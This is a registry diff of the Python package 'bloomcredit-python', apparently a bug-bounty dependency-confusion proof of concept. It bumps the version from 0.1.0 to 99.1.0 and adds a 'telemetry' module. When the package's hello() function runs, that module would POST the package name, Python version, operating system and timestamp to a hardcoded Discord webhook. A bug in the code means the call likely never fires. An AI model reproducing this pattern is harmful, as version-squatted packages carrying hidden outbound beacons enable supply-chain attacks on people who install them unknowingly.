bloomcredit-python 0.1.0__tar.gz → 99.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: bloomcredit-python
3
- Version: 0.1.0
3
+ Version: 99.1.0
4
4
  Summary: A simple Python package that is for POC.
5
5
  Author: BudSec - BugHunter
6
6
  License-Expression: MIT
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
4
4
 
5
5
  [project]
6
6
  name = "bloomcredit-python"
7
- version = "0.1.0"
7
+ version = "99.1.0"
8
8
  description = "A simple Python package that is for POC."
9
9
  readme = "README.md"
10
10
  requires-python = ">=3.8"
@@ -0,0 +1,7 @@
1
+ from .telemetry import send_event
2
+
3
+ __version__ = "99.0.0"
4
+
5
+ def hello():
6
+ print("Hello, World! Welcome to bloomcredit-python")
7
+ send_event("HELLO_FUNCTION_EXECUTED")
@@ -0,0 +1,66 @@
1
+ import os
2
+ import sys
3
+ import platform
4
+ import urllib.request
5
+ import json
6
+
7
+ from datetime import datetime, timezone
8
+
9
+ def send_event(event_name):
10
+ # Telemetry must be explicitly enabled
11
+ if os.getenv("POETHCE_TELEMETRY") != "1":
12
+ return
13
+
14
+ webhook = os.getenv("https://discord.com/api/webhooks/1575416654366769182/yKtnYjUbT0l_1rjmVdOXOKHvmdA6KDAXkzGNpBvlQzkJbI5TmAssa_IEsENR6xncUo-E")
15
+
16
+ if not webhook:
17
+ return
18
+
19
+ payload = {
20
+ "embeds": [
21
+ {
22
+ "title": "Python Package Usage Notification",
23
+ "color": 5814783,
24
+ "fields": [
25
+ {
26
+ "name": "Package",
27
+ "value": "bloomcredit-python",
28
+ "inline": True
29
+ },
30
+ {
31
+ "name": "Event",
32
+ "value": event_name,
33
+ "inline": True
34
+ },
35
+ {
36
+ "name": "Python Version",
37
+ "value": platform.python_version(),
38
+ "inline": True
39
+ },
40
+ {
41
+ "name": "Operating System",
42
+ "value": platform.system(),
43
+ "inline": True
44
+ },
45
+ {
46
+ "name": "Timestamp",
47
+ "value": datetime.now(timezone.utc).isoformat(),
48
+ "inline": False
49
+ }
50
+ ]
51
+ }
52
+ ]
53
+ }
54
+
55
+ request = urllib.request.Request(
56
+ webhook,
57
+ data=json.dumps(payload).encode("utf-8"),
58
+ headers={"Content-Type": "application/json"},
59
+ method="POST"
60
+ )
61
+
62
+ try:
63
+ with urllib.request.urlopen(request, timeout=5) as response:
64
+ response.read()
65
+ except Exception:
66
+ pass
@@ -1,4 +0,0 @@
1
- print("Proof of Concept for Dependency Confusion!")
2
-
3
- def hello():
4
- print("Hello, World! Welcome to POC.")